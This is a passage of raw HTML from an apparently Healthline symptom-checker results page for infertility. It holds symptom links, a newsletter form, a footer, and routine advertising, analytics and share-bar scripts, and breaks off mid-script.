                  <a href="/symptomsearch?addterm=Loss of appetite&amp;addterm=Infertility">Loss of appetite</a>
                  <a href="/symptomsearch?addterm=Low back pain&amp;addterm=Infertility">Low back pain</a>
                  <a href="/symptomsearch?addterm=Low blood pressure&amp;addterm=Infertility">Low blood pressure</a>
                  <a href="/symptomsearch?addterm=Muscle pain&amp;addterm=Infertility">Muscle pain</a>
                  <a href="/symptomsearch?addterm=Nausea&amp;addterm=Infertility">Nausea</a>
                  <a href="/symptomsearch?addterm=Neck pain&amp;addterm=Infertility">Neck pain</a>
                  <a href="/symptomsearch?addterm=Nosebleed&amp;addterm=Infertility">Nosebleed</a>
                  <a href="/symptomsearch?addterm=Painful urination&amp;addterm=Infertility">Painful urination</a>
                  <a href="/symptomsearch?addterm=Personality change&amp;addterm=Infertility">Personality change</a>
                  <a href="/symptomsearch?addterm=Rash&amp;addterm=Infertility">Rash</a>
                  <a href="/symptomsearch?addterm=Shortness of breath&amp;addterm=Infertility">Shortness of breath</a>
                  <a href="/symptomsearch?addterm=Shoulder pain&amp;addterm=Infertility">Shoulder pain</a>
                  <a href="/symptomsearch?addterm=Skin redness&amp;addterm=Infertility">Skin redness</a>
                  <a href="/symptomsearch?addterm=Sneezing&amp;addterm=Infertility">Sneezing</a>
                  <a href="/symptomsearch?addterm=Sore throat&amp;addterm=Infertility">Sore throat</a>
                  <a href="/symptomsearch?addterm=Stuffy nose&amp;addterm=Infertility">Stuffy nose</a>
                  <a href="/symptomsearch?addterm=Tingling&amp;addterm=Infertility">Tingling</a>
                  <a href="/symptomsearch?addterm=Tinnitus&amp;addterm=Infertility">Tinnitus</a>
                  <a href="/symptomsearch?addterm=Vaginal discharge&amp;addterm=Infertility">Vaginal discharge</a>
                  <a href="/symptomsearch?addterm=Vertigo&amp;addterm=Infertility">Vertigo</a>
                  <a href="/symptomsearch?addterm=Vomiting&amp;addterm=Infertility">Vomiting</a>
                  <a href="/symptomsearch?addterm=Yawning, excessive&amp;addterm=Infertility">Yawning, excessive</a>
                  </td>
              </tr>
            </table>
          </div>
        </div>
      </div>
    </div>
  </div>
</div>
</div>
            </div>

          </div>

          <div class="grid300">
            <div class="mr1block c">
    <div class="box-ad-mr1">
      <div class="ads-margin ads-box-header">Advertisement</div>
      <div id="gpt-ad-mr1" class="hl-ad-mr1 ads-medium-rect" adonis-marker></div>
        </div>
    <div id="5ed5f88659" class="pagefair-acceptable"></div>
  </div>


  <div class="mr2block c">
    <div class="box-ad-mr2">
      <div class="ads-margin ads-box-header">Advertisement</div>
      <div id="gpt-ad-mr2" class="hl-ad-mr2 ads-medium-rect" adonis-marker></div>
        </div>
    <div id="e72987b452" class="pagefair-acceptable"></div>
  </div>

  </div>
        </div>
      </div><!-- innerbodybox -->
  </div><!-- bodycontainer -->
</div>
<div id="ym_1164503528872721256" class="ym"></div>
  <script type="text/javascript">
    require(['matchmedia'], function () {
      if (matchMedia('only screen and (max-width: 767px)').matches) {
        (function (e, t) {
          if (t._ym === void 0) {
            t._ym = "";
            var m = e.createElement("script");
            m.type = "text/javascript", m.async = !0, m.src = "//static.yieldmo.com/ym.m4.js", (e.getElementsByTagName("head")[0] || e.getElementsByTagName("body")[0]).appendChild(m)
          } else t._ym instanceof String || void 0 === t._ym.chkPls || t._ym.chkPls()
        })(document, window);
        adsArrayForKIMP.push('YieldMo');
      }
    });
  </script>
<div class="ad-pb">
    <div class="gpt-ads-box-header-pb" id="ads-box-header-pb">Advertisement</div>
    <div id="gpt-ad-pb" class="hl-ad-pb">
      <ins class="adsbygoogle" id='ad-pb-by-google'
               style="display:inline-block;width:728px;height:90px"
               data-ad-client="ca-pub-4771166113579725"
               data-ad-slot="5433917495"></ins>
        <script>
        require(['jquery', 'matchmedia'], function ($) {
          var touchDevice = 'ontouchstart' in document.documentElement;
          if (matchMedia('only screen and (min-width: 768px)').matches) {
            
            if (touchDevice) {
              $('#ad-pb-by-google').attr('data-ad-slot', '2480451099');
            }
            

            var gads = document.createElement('script');
            gads.async = true;
            gads.type = 'text/javascript';
            var useSSL = 'https:' == document.location.protocol;
            gads.src = (useSSL ? 'https:' : 'http:') + '//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js';
            var node = document.getElementsByTagName('script')[0];
            node.parentNode.insertBefore(gads, node);
            adsArrayForKIMP.push('AdSense');
          }
        });
      </script>
      <!-- Healthline_Adsense_Desktop_728x90 Footer -->

      <script>
        (adsbygoogle = window.adsbygoogle || []).push({});
      </script>
    </div>
  </div>
<!-- Begin comScore Tag -->
<script>
  document.write(unescape("%3Cscript src='" + (document.location.protocol == "https:" ? "https://sb" : "http://b") + ".scorecardresearch.com/beacon.js' %3E%3C/script%3E"));
</script>
<script>
  COMSCORE.beacon({
    c1:2,
    c2:6035868,
    c3:"",
    c4:"",
    c5:"",
    c6:"",
    c15:""
  });
</script>
<noscript>
  <img src="https://sb.scorecardresearch.com/b?c1=2&c2=6035868&c3=&c4=&c5=&c6=&c15=&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
</noscript>

<div class="hl hl-box-container-footer">

      <footer class="c">
        <div class="grid978">

          <div class="row12">
            <div class="span12">

              <div class="hl-box-footer c">

                <div class="hl-box-footer-1 hl-body-text">
                    <p>As the fastest growing consumer health information site — with 65 million monthly visitors — Healthline’s mission is to be your most trusted ally in your pursuit of health and well-being.</p>

<p>You can depend on us to provide expert content along with genuine caring. Both of which will support, guide, and inspire you toward the best possible health outcomes for you and your family.</p></div>
                <div class="hl-box-footer-2">
                  <div class="registration c">
  <div class="row12">
    <div class="span12">
      <div class="newsletterbox">

        <p class="box-chevron"><span class="icon-chevron icon-chevron-orange"></span><span class="hl-signup-title">Sign up for our newsletter</span></p>
        <p class="box-thanks"><span class="icon-chevron"></span><span class="hl-signup-confirmation-title">Thank you!</span></p>

        <div id="signupBody" style="position:relative">
              <p class="signUpConfirm" style="display: none;">A confirmation email has been sent, and you will receive our next newsletter soon!
<br>
<a href="/health/newsletter-signup?sourceURL=generalhealth" target="_blank">See all Healthline's newsletters »</a></p>
              <p class="summarybox">We'll help you live each day to the healthiest.</p>

                <form id="signUpForm">
                  <span class="xclose"><a href="/" class="xcloselink">X</a></span>
                  <input type="text" id="hl-newsltr-email" name="liame" class="hl-newsltr-email" title="Enter your email address" value="Enter your email address" />
                  <div class="form-group">
                    <input type="hidden" name="pageLink" value="page link">
                    <input type="hidden" name="pageTitle" value="page title">
                    <input type="hidden" name="vars[generalhealth]" value="1"/>
                    <input type="hidden" name="vars[source]" value="footer_widget"/>
                  </div>
                  <button type="submit" name="emailsubmit" class="emailsubmit">
                    <span id="emailsubmit-text"> Subscribe </span>
                    <div class="spinner spinner--steps hl-icon-spinner" aria-hidden="true"></div>
                  </button>
                </form>

                <p class="hl-email-privacy"><span class="hl-icon-lock"></span>  Your <a href="/health/privacy-policy" target="_blank">privacy</a> is important to us. Any information you provide to us via this website may be placed by us on servers located in countries outside of the EU. If you do not agree to such placement, do not provide the information.</p>

            </div><!-- signupBody -->

            </div><!-- newsletterbox -->
    </div><!-- span12 -->
  </div><!-- row12 -->
</div><!-- registration --><div class="sharebar">
                    <ul>
                      <li class="heading">Find us on:</li>
                      <li><a href="http://www.facebook.com/pages/Healthline/173263326992" class="hl-hp-facebook" target="window"><div class="hl-hp-content">Facebook</div><span class="hl-icon-facebook"></span></a></li>
                      <li><a href="http://twitter.com/healthline" class="hl-hp-twitter" target="window"><div class="hl-hp-content">Twitter</div><span class="hl-icon-twitter"></span></a></li>
                      <li><a href="https://plus.google.com/u/0/111626241908021736513/posts" class="hl-hp-gplus" target="window" rel="publisher"><div class="hl-hp-content">Google Plus</div><span class="hl-icon-google"></span></a></li>
                      <li><a href="http://pinterest.com/healthline/" class="hl-hp-pinterest" target="window"><div class="hl-hp-content">Pinterest</div><span class="hl-icon-pinterest"></span></a></li>
                    </ul>
                  </div>

                </div>
                <div class="hl-box-footer-3">
                  <div class="hl-footer-link-items">
                    <ul>
                        <li class="ftsecthdr"><h3></h3></li>
                        <li><a href="/health/about-us?ref=footer">About Us</a></li>
                        <li><a href="/directory/topics?ref=footer">Health Topics</a></li>
                        <li><a href="/health-news?ref=footer">Health News</a></li>
                        <li><a href="/health/fda?ref=footer">FDA</a></li>
                        </ul>
                    <ul>
                        <li class="ftsecthdr"><h3></h3></li>
                        <li><a href="/health/about-us?ref=footer#link-ContactUs">Contact Us</a></li>
                        <li><a href="/health/advertise-with-us?ref=footer">Advertise With Us</a></li>
                        <li><a href="/health/about-us?ref=footer#link-AdvertisingPolicy">Advertising Policy</a></li>
                        <li><a href="/health/newsletter-signup?ref=footer">Newsletters</a></li>
                        </ul>
                    <ul>
                        <li class="ftsecthdr"><h3></h3></li>
                        <li><a href="/health/careers?ref=footer">Careers</a></li>
                        <li><a href="/health/privacy-policy?ref=footer">Privacy Policy</a></li>
                        <li><a href="/health/terms-of-use?ref=footer">Terms of Use</a></li>
                        <li><a href="https://telehealth.healthline.com/?utm_source=healthlinesite&utm_medium=footer">Find an Online Doctor</a></li>
                        </ul>
                    </div>

                  <ul class="hon-icon">
                      <li>
                        <a href="//privacy.truste.com/privacy-seal/validation?rid=b59e7a69-59cd-449f-9af4-2bdba7d346e5" target="_blank">
                          <img class="truste-image" src="//privacy-policy.truste.com/privacy-seal/seal?rid=b59e7a69-59cd-449f-9af4-2bdba7d346e5" alt="TRUSTe"/>
                        </a>
                      </li>
                      <li>
                        <a target="_blank" href="https://www.healthonnet.org/HONcode/Conduct.html?HONConduct694855">
                          <img class="hon-image" src="https://www.honcode.ch/HONcode/Seal/HONConduct694855_s.gif" width="49" height="72" alt="This website is certified by Health On the Net Foundation. Click to verify."/>
                        </a>
                        <div class="hon-text">
                          <div>This website is certified by Health On The Net.</div>
                          <a target="_blank" href="https://www.healthonnet.org/HONcode/Conduct.html?HONConduct694855">Click here to verify</a>
                        </div>
                      </li>
                    </ul>
                  </div>
              </div>

            </div>
          </div>

        </div>
      </footer>
    </div>

    <div class="hl hl-box-copyright">
      <div class="hl-box-inner-copyright">
      <div class="grid978">
        <div class="row12">
          <div class="span12">

            <div class="copyright">
                <p>Copyright © 2005 - 2017 Healthline Media. All rights reserved. Our content does not constitute a medical consultation. See a certified medical professional for diagnosis. <a href="/health/privacy-policy" rel="nofollow">Privacy Policy</a></p>


<script>(function() {
  var _fbq = window._fbq || (window._fbq = []);
  if (!_fbq.loaded) {
    var fbds = document.createElement('script');
    fbds.async = true;
    fbds.src = '//connect.facebook.net/en_US/fbds.js';
    var s = document.getElementsByTagName('script')[0];
    s.parentNode.insertBefore(fbds, s);
    _fbq.loaded = true;
  }
  _fbq.push(['addPixelId', '341638689366170']);
})();
window._fbq = window._fbq || [];
window._fbq.push(['track', 'PixelInitialized', {}]);
</script>
<noscript><img height="1" width="1" alt="" style="display:none"
src="https://www.facebook.com/tr?id=341638689366170&amp;ev=PixelInitialized"
/></noscript>

<!-- Comscore Survey Script -->
<script src="//siterecruit.comscore.com/sr/healthline/broker.js"></script></div>

          </div>
        </div>

      </div>
        </div>
    </div>




    </div><!-- hl-main-content -->
    </div><!-- hl-page -->


    
<!-- Insight Tracking Tag -->
    <div id="ttdUniversalPixelTagab5d2702cb4346dfbe31c5c61e126b4a">
        <script src="https://js.adsrvr.org/up_loader.1.1.0.js" type="text/javascript"></script>
        <script type="text/javascript">
            (function(global) {
                var universalPixelApi = new TTDUniversalPixelApi();
                universalPixelApi.init("fcovtha", ["ihyjpsl"], "https://insight.adsrvr.org/track/up", "ttdUniversalPixelTagab5d2702cb4346dfbe31c5c61e126b4a");
            })(this);
        </script>
    </div>

<!-- Tradedesk Tag -->
<div id="ttdUniversalPixelTag14bfa4e467dd468e81c8d738550a6046" style="display:none">
        <script src="https://js.adsrvr.org/up_loader.1.1.0.js" type="text/javascript"></script>
        <script type="text/javascript">
            (function(global) {
                if (typeof TTDUniversalPixelApi === 'function') {
                    var universalPixelApi = new TTDUniversalPixelApi();
                    universalPixelApi.init("fcovtha", ["hs35qam"], "https://insight.adsrvr.org/track/up", "ttdUniversalPixelTag14bfa4e467dd468e81c8d738550a6046");
                }
            })(this);
        </script>
</div>
<!-- End Tradedesk Tag -->


<!-- Moat Traffic Tracking Tag -->

<script>
(function(){function t(){for(var a=[8],e=1;2>=e;e++)a.push(8+e),a.push(8-e);a=a[Math.floor(Math.random()*a.length)];return{b:a,a:0==Math.floor(Math.random()*a)}}function k(a){var e=a=a.replace(":","");try{for(var b=0;100>b&&(a=decodeURIComponent(a),e!=a)&&!a.match(/^http(s)?\:/);b++)e=a}catch(c){}return a.replace(/(^\s+|\s+$)/g,"")}try{if(!location||!location.hostname||!location.pathname)return!1;var c=document.location.hostname.replace(/^www\./,""),u=function(){for(var a,b=document.getElementsByTagName("meta"),
c,d=0,f=b.length;d<f;d++)if(c=b[d],"og:title"===c.getAttribute("property")){a=c.getAttribute("content");break}a||(a=document.title||"Untitled");return a}(),b={},b=function(a,b,c){a.l1=b;a.l2=c;a.l3="__page__";a.l4="-";return a}(b,c,u),l=(new Date).getTime(),m=Math.floor(Math.random()*Math.pow(10,12)),d,f;f=t();f.a?d=0:d=f.b;b.zmoatab_cm=d;b.t=l;b.de=m;b.zMoatAB_SNPT=!0;var g;d?g=d:g=1;var n;n=f?f.a?!1:!0:!0;var c=[],p=[k(b.l1),k(b.l2),k(b.l3),k(b.l4)].join(":"),v="https://wve3oiypgri4-a.akamaihd.net/z.gif?e=17&d="+
encodeURIComponent(p)+"&de="+m+"&t="+l+"&i=HEALTHLINECONTENT1&cm="+g+"&mp=1&ac=1&pl=1&bq=10&cs=0",w="https://px.moatads.com/pixel.gif?e=17&d="+encodeURIComponent(p)+"&de="+m+"&t="+l+"&i=HEALTHLINECONTENT1&cm="+g+"&mp=0&ac=1&pl=1&bq=10&ad_type=img&cs=0",x="https://px.moatads.com/pixel.gif?e=17&d="+encodeURIComponent(p)+"&de="+m+"&t="+l+"&i=HEALTHLINECONTENT1&cm="+g+"&ku=1&ac=1&pl=1&bq=10&ad_type=img&cs=0";n&&((new Image).src=v,(new Image).src=w);for(var q in b)c.push(q+"="+encodeURIComponent(b[q]));
var c=c.join("&"),h=document.createElement("script");h.type="text/javascript";h.async=!0;n&&(h.onerror=function(){(new Image).src=x});var r=document.getElementsByTagName("script")[0];r.parentNode.insertBefore(h,r);h.src="https://z.moatads.com/healthlinecontent451781663455/moatcontent.js#"+c}catch(a){try{var y="//pixel.moatads.com/pixel.gif?e=24&d=data%3Adata%3Adata%3Adata&i=MOATCONTENTABSNIPPET1&ac=1&k="+encodeURIComponent(a)+"&j="+encodeURIComponent(document.referrer)+"&cs="+(new Date).getTime();
(new Image).src=y}catch(e){}}})();
</script>

<!-- End Moat Traffic Tracking Tag -->

<div id="div-gpt-ad-out-of-page"></div>

<script>


      require([
        'jquery'
      ], function( $ ){

        arrayPromiseFunctions.push( function() {
          var defer = $.Deferred();

          googletag.cmd.push( function() {
            require([
              'jquery',
              'base/responsive-ads',
              'base/util/header-bidder',
              'base/util/ga-custom-vars',
              'matchmedia'
            ], function( $, AppResponsiveAds, headerBidder ){
              // default - show LB ad on page load
              var isAdOnPageLoad = true;

              
                var breakpointsToHideAd = [];
                var breakpointsToHideAdByPageType = [];

                

                isAdOnPageLoad =  AppResponsiveAds.getShowAdOnPageLoad("LB",breakpointsToHideAd,breakpointsToHideAdByPageType);
              

              //setting up ad targeting before resolove or reject a defer
              window.HL_lbSlot = googletag.defineSlot(window.slotName,[ [768, 90], [728, 90], [970, 250], [320, 50], [300, 50] ],'gpt-ad-lb' )
              .addService( googletag.pubads() );
              window.HL_lbSlot.setTargeting( 'pos', 'lb' );
              googletag.display( 'gpt-ad-lb' );

              

              var isHealthline = true,
                disableLBSticky = false,
                showShareBar = false,
                currentPageUrl = window.location.href.toString().split(window.location.host)[1].split('?')[0],
                newsletterPage = currentPageUrl == '/newsletter-signup',
                searchPage = currentPageUrl == '/search',
                adSenseOverride = false;

              /**
              * Checks if browser is iOS version 4_x
              *    googledoc url maybe
              * @return {boolean} true/false
              */
              var isIOS4 = function() {
                var deviceAgent = navigator.userAgent.toLowerCase();
                return /iphone os 4_/.test(deviceAgent);
              };

              
                if (matchMedia('only screen and (min-width: 320px) and (max-width: 736px)').matches && !isIOS4() && !disableLBSticky && !showShareBar && !adSenseOverride && !newsletterPage) {
                  var root = $('.hl-page'),
                    lbAd = $('.hl.headerblock .ad-lb'),
                    lbAdChildren = lbAd.children().detach(),
                    newLbContainer = document.createElement('div');

                  // create ad-lb-filler and inject children content into it and then insert it into root
                  lbAd.removeClass('ad-lb').addClass('ad-lb-hidden');
                  lbAdChildren.appendTo(newLbContainer);
                  $(newLbContainer).attr('class', 'ad-lb-filler').appendTo(root);
                  headerBidder.adsOnPageLoad( window.HL_lbSlot );
                  defer.resolve( { slotObj: HL_lbSlot, slotName: "LB" });

                  // resetting the padding to compensate for LB being removed from top of page
                  $('.hl .bodycontainer').addClass('lb-reset-padding');

                  if (searchPage) {
                    $('.ad-lb-hidden').addClass('lb-display-none');
                  }

                  $('.ad-lb-filler .close-btn').on('click', function (e) {
                    $('.ad-lb-filler').hide();
                  });
                }
              

              if( adSenseOverride ) {
                $('.ad-lb-filler .close-btn').on('click', function (e) {
                  $('.ad-lb-filler').hide();
                });
              }

              if( matchMedia( 'only screen and (max-width: 599px)').matches && isHealthline && disableLBSticky) {
                console.log( 'GPT Promise - LB rejected - MOBILE' );

      console.log('############################### - ad-lb.jsp - GPT Promise - LB rejected - MOBILE');


      window.HL_lbSlot.setCollapseEmptyDiv(true, true);

                defer.reject();


              } else {
                if ( isAdOnPageLoad ){
                  log.debug( 'GPT Promise - LB expected - slot object passed - DESKTOP' );
                  headerBidder.adsOnPageLoad( window.HL_lbSlot );
                  defer.resolve( { slotObj: HL_lbSlot, slotName: "LB" });



                } else {
                  log.debug( 'GPT Promise - LB expected - resolve false - DESKTOP' );
                  headerBidder.adsOnPageLoad( window.HL_lbSlot );
                  defer.resolve( false );
                }
              }
            });
          });  // googletag.cmd.push

          return defer.promise();
        });
      }); // require

    
</script>
<script>


  window.email_page_url = 'FqZTNw5/GnopE4/v8FcJw0My9a8A+Dll1pTkCj6VuowFy2BzazxXprlJqMWuP2uvc2zu2QItJAQ=';
  window.email_page_title = 'YM2SLsMhcNGCag2nFG0vOXRbBUM9DRWMVjIWTz0fV2MAz3tJiKbPA2v87o+bG5sY';

  require(["healthline/header"], function(header){
  header.setOptions({
  isNews: false,
  isNewsChecked: false
  });


  });
  
</script>
<script>

  require(["jquery"], function( $ ){
  $(document).ready(function() {
  $( '#box-health-tools' ).on( 'click', 'a', function(){
  if( $( this ).text() == 'Doctor Search' ){
  _gaq.push( [ 'hl._link', $( this ).attr( 'href' ) ] );
  return !window._gat;
  }
  return true;
  });
  });
  });

</script>
<script>

      require(["jquery"], function( $ ){
      $(document).ready(function(){
      var placeholderInput = setInterval(function(){
      if($('#gsc-i-id1').length){
      clearInterval(placeholderInput);
      } else {
      return;
      }

      var $_gsc = $('#gsc-i-id1');

      if($_gsc.length){
      $_gsc.attr('placeholder', 'How can we help you?');

      $_gsc.data('placeholder', $_gsc.attr('placeholder'))
      .focus(function(){$_gsc.removeAttr('placeholder');})
      .blur(function(){$_gsc.attr('placeholder', $_gsc.data('placeholder'));});
      }
      }, 500);
      });
      });
    
</script>
<script>

  require(['jquery', 'base/symptomchecker/symptom-search-dropdown'],function( $, symptomSearchDropdown ){

    symptomSearchDropdown.initialize({
      mySymptoms: "Infertility"
    });

  });

</script>
<script>


      require([
        'jquery',
        'base/overlay',
        'base/util/sharebar-global'
      ],function( $, AppOverlay ) {

        $(document).ready(function() {

          //Trigger pinterest link when user clicks on any part of the bottom button
          $('.hl-sharebar-global.hl-sharebar-lifestyle.sharebar-bottom .hl-share-button-pinterest').click(function() {
            //alert('click!!!');
            $(this).children( 'span' )[0].click();
          });

          //todo: what is "isPrintFriendly"
          var isPrintFriendly = false;
          
            isPrintFriendly = true;
          

          ShareBar.init({
            facebookApiKey: "239371929577489",                //todo: put "239371929577489" to config file
            facebookRedirect: "https://sfc-stage01.healthline.com/v2/windowclose",
            page_url: HLSHAREBAR.page_url,
            page_title: HLSHAREBAR.page_title,
            isPrintFriendly: isPrintFriendly,
            page_description: (HLSHAREBAR.page_description ? HLSHAREBAR.page_description : ''),
            email_page_url: HLSHAREBAR.email_page_url,
            email_page_title: HLSHAREBAR.email_page_title,
            fb_meta_title: "",
            fb_meta_desc: ""
          });

          var onBeforeLoadFunc = function() {
            $('.hl-main-content').css('z-index','auto');
          };

          var cfgOverlay = {
            selectorValue: "overlayShareBarEmail",
            maskColor: '#555555',
            maskLoadSpeed: 200,
            maskOpacity: 0.8,
            maskZindex: 9999999,
            top: "center",
            left: "center",
            close: ".overlay-close",
            onBeforeLoad: onBeforeLoadFunc
          };

          AppOverlay.initialize(cfgOverlay);

        });
      });

    
</script>
<script>

      require([
      'jquery'
      ], function( $ ){

        arrayPromiseFunctions.push( function() {
          var defer = $.Deferred();

          googletag.cmd.push( function() {

            require([
              'jquery',
              'base/responsive-ads',
              'base/util/ga-custom-vars'
            ], function( $, AppResponsiveAds ) {

              $(function() {

                var isAdOnPageLoad = true;

                

                  var breakpointsToHideAd = [];
                  var breakpointsToHideAdByPageType = [];

                  
                    breakpointsToHideAd = [];
                  
                    breakpointsToHideAdByPageType = [];
                  

                  isAdOnPageLoad = AppResponsiveAds.getShowAdOnPageLoad("PW1",breakpointsToHideAd,breakpointsToHideAdByPageType);
                

                window.HL_pw1Slot = googletag.defineSlot(window.slotName, [[648, 135],[460, 135],[320, 270]],"gpt-ad-pw1").addService(googletag.pubads());
                window.HL_pw1Slot.setTargeting("pos", "pw1");
                googletag.display("gpt-ad-pw1");

                if ( typeof adsForPageLoad === "object" ) {
                  adsForPageLoad.push( window.HL_pw1Slot );
                }

                if( isAdOnPageLoad ){
                  log.debug( 'GPT Promise - PW1 expected' );
                  defer.resolve( { slotObj: HL_pw1Slot, slotName: "PW1" } );
                } else {
                  log.debug( 'GPT Promise - PW1 expected' );
                  defer.resolve( false );
                }


              });
            }); // require
          }); // googletag.cmd.push

          return defer.promise();
        });

      }); // require
    
</script>
<script>

    require(["jquery","base/overlay","base/feedback-v2", "plugins/owl_carousel/owl.carousel"],function($,AppOverlay){

      var onBeforeLoadFunc = function() {
        $('.hl-main-content').css('z-index','auto');
      };

      var cfgOverlay = {
        selectorValue: 'overlayFeedback',
        maskColor: '#555555',
        maskLoadSpeed: 200,
        maskOpacity: 0.8,
        maskZindex: 9999999,
        top: "center",
        left: "center",
        close: ".hl-feedback-icon-close",
        onBeforeLoad: onBeforeLoadFunc
      };

      AppOverlay.initialize(cfgOverlay);

      $feedbackOwlHandle = $('#feedback-owl-carousel');

      $feedbackOwlHandle.owlCarousel( {
        items: 1,
        singleItem: true,
        navigation: false,
        navigationText : ["", ""],
        pagination: false,
        mouseDrag: false,
        touchDrag: false,
        autoHeight: true
      });
    });
  
</script>
<script>

  require([
  'jquery',
  'base/symptomchecker/results-v3'
  ], function( $, AppSymptomCheckerResults ){

  $(document).ready(function() {

  var iShowSymptomHelper = false;
  

  AppSymptomCheckerResults.initialize({
    addTermFieldHelperText: '',
    selectedTerms: '\u0026addterm\u003dInfertility',
    filterParams: '',
    iShowSymptomHelper: iShowSymptomHelper,
    totalResults: 12,
    adRefreshTime: 8000,
    dfpAdSite: 'hn.us.hl.ss.x.x.x',
    isSxCResultsLazyLoad: true
  });

  }); // dom ready

  });

</script>
<script>

    require(["base/rwd/symptomchecker/results-v3", "base/responsive-ads", "base/overlay"],function(AppSymptomCheckerResultsResponsive, AppResponsiveAds, AppOverlay){


    var onBeforeLoadFunc = function() {
      // better to create a CSS class and use addClass NOT .css
      //$('.hl-main-content').css('z-index','auto');
      $('.hl-main-content').addClass( 'hl-zindex-auto' );
    };

    var cfgOverlay = {
      maskColor: '#555555',
      maskLoadSpeed: 200,
      maskOpacity: 0.8,
      maskZindex: 9999999,
      top: "center",
      left: "center",
      close: ".overlay-close",
      onBeforeLoad: onBeforeLoadFunc
    };

    AppOverlay.initialize(cfgOverlay);

      AppSymptomCheckerResultsResponsive.initialize({
        isGpt: true
      });
    });

   
</script>
<script>

            require([
            'jquery'
            ], function( $ ){
            arrayPromiseFunctions.push( function() {
            var defer = $.Deferred();

            googletag.cmd.push( function() {

            require([
            'jquery',
            'base/responsive-ads',
            'base/util/header-bidder',
            'matchmedia',
            'base/util/ga-custom-vars'
            ], function( $, AppResponsiveAds, headerBidder ){

            var mr1RangeString,
            loopIdx,
            inLoopIdx,
            mr1Size,
            mr1Range = [],
            adSize = '300x250';

            if ( matchMedia( 'only screen and (max-width: 600px)' ).matches ) {
            adSize = '300x250';
            }

            mr1RangeString = adSize.split( ',' );

            if ( mr1RangeString.length > 0 ) {
            for ( loopIdx = 0; loopIdx < mr1RangeString.length; loopIdx++ ) {
            mr1Size = mr1RangeString[ loopIdx ].split( 'x' );

            // need to convert string to integer
            for ( inLoopIdx = 0; inLoopIdx < mr1Size.length; inLoopIdx++ ) {
            mr1Size[ inLoopIdx ] = parseInt( mr1Size[ inLoopIdx ] );
            }

            mr1Range.push( mr1Size );
            }
            }

            if ( mr1Range.length == 0 ) {
            mr1Range = [[300, 250], [300, 600], [300, 1050]];
            }

            var isMr1AdOnPageLoad = true;

            
              var breakpointsToHideAd = [];
              var breakpointsToHideAdByPageType = [];

              
                breakpointsToHideAdByPageType = ['768','480','320'];
              

              isMr1AdOnPageLoad =  AppResponsiveAds.getShowAdOnPageLoad("MR1",breakpointsToHideAd,breakpointsToHideAdByPageType);
            

            //setting up ad targeting before resolove or reject a defer
            window.HL_mr1Slot = googletag.defineSlot(window.slotName, mr1Range, 'gpt-ad-mr1' ).addService(googletag.pubads());
            window.HL_mr1Slot.setTargeting( 'pos', 'mr1' );

            googletag.display( 'gpt-ad-mr1' );

            

            var loadMR1 = true;
            

            if ( isMr1AdOnPageLoad && loadMR1 ) {
              log.debug( 'ad-mr1.jsp - GPT Promise - MR1 expected - resolve object' );
              headerBidder.adsOnPageLoad( window.HL_mr1Slot );
              defer.resolve( { slotObj: HL_mr1Slot, slotName: "MR1" } );
            } else {
              
                  log.debug( 'ad-mr1.jsp - GPT Promise - MR1 expected - resolve false' );
                  defer.resolve( false );
                
            }
            }); // require
            }); // googletag.cmd.push

            return defer.promise();
            });
            }); // require
          
</script>
<script>

        require([
          'jquery'
        ], function( $ ){
        arrayPromiseFunctions.push( function() {
        var defer = $.Deferred();

        googletag.cmd.push( function() {

        require([
          'jquery',
          'base/responsive-ads',
          'base/util/header-bidder',
          'matchmedia',
          'base/util/ga-custom-vars'
        ], function( $, AppResponsiveAds, headerBidder ) {

        $(function() {

        

        // determine if mr2 ad is shown on page load
        var isAdOnPageLoad = true;

        

          var breakpointsToHideAd = [];
          var breakpointsToHideAdByPageType = [];

          
            breakpointsToHideAd = ['997','768','600','480','320'];
          

          var isAdOnPageLoad = AppResponsiveAds.getShowAdOnPageLoad("MR2",breakpointsToHideAd,breakpointsToHideAdByPageType);

        

        window.HL_mr2Slot = googletag.defineSlot(window.slotName, [[300, 250], [300, 600], [300, 1050]],"gpt-ad-mr2").addService(googletag.pubads());
        window.HL_mr2Slot.setTargeting("pos", "mr2");

        googletag.display("gpt-ad-mr2");

        if( isAdOnPageLoad ) {
          log.debug( 'ad-mr2.jsp - GPT Promise - MR2 expected - resolve object' );
          headerBidder.adsOnPageLoad( window.HL_mr2Slot );
          defer.resolve(  { slotObj: HL_mr2Slot, slotName: "MR2" } );
        } else {
          
              log.debug( 'ad-mr2.jsp - GPT Promise - MR2 expected - resolve false' );
              defer.resolve( false );
            
        }
        });  // dom ready
        }); // require
        }); // googletag.cmd.push

        return defer.promise();
        });
        }); // require
      
</script>
<script>

  var HL_adBlankMonitor = function(cfg) {
    if(cfg.adBlankCodes.length > 0) {
      for(var i = 0; i < cfg.adBlankCodes.length; i++) {
        if (typeof HL_ga_sendTrackEvent === 'function') {
          HL_ga_sendTrackEvent({
          gaEventCategory : 'Ad Display',
          gaEventAction : 'Blank Ad',
          gaEventLabel : 'adBlankCode=' + cfg.adBlankCodes[i] + '&adspot=' + cfg.adPosition + '&pageUrl=' + window.location.pathname
          });
        }
      }
    }
  };

</script>
<script>

              require([
                'healthline/newsletter-signup'
              ], function( newsletterSignup ){
                newsletterSignup.setConfig({
                  newsletterHost: 'newsletter-stage.healthline.com',
                  email_page_url: 'CTdXHB2atcs7Xca2bPplFWBxi+FiPy85EXYfeKC1mCyvCf2kaKbK1kySRs+Ihm6E/1Xp8WhKrCA=',
                  email_page_title: 'YM2SLsMhcNGCag2nFG0vOXRbBUM9DRWMVjIWTz0fV2MAz3tJiKbPA2v87o+bG5sY'
                });
              });
            
</script>
<script>

      /* load module */
      require(["healthline/footer"]);
    
</script>
<script>

      require([
      'jquery'
      ], function( $ ) {
        


        arrayPromiseFunctions.push( function() {
          var defer = $.Deferred();

          googletag.cmd.push( function() {
            require([
              'jquery',
              'base/util/header-bidder'
            ], function( $, headerBidder ) {

                window.HL_OutOfPageSlot = googletag.defineOutOfPageSlot( window.slotName + '/Out-of-Page', 'div-gpt-ad-out-of-page' )
                .addService( googletag.pubads() );

                headerBidder.adsOnPageLoad( window.HL_OutOfPageSlot );

                googletag.display( 'div-gpt-ad-out-of-page' );


              log.debug( 'GPT Promise - OOP expected - slot object passed - DESKTOP' );
              defer.resolve( { slotObj: window.HL_OutOfPageSlot, slotName: "OOP" });

            }); // require func

          }); // googletag

          return defer.promise();

        }); // arrayPromiseFunctions

      }); // require func


    
</script>
<script type="text/javascript" src="/resources/base/js/util/hl-send-ad-impression.js"></script>

<script type="text/javascript">
  var fireOnce = false;
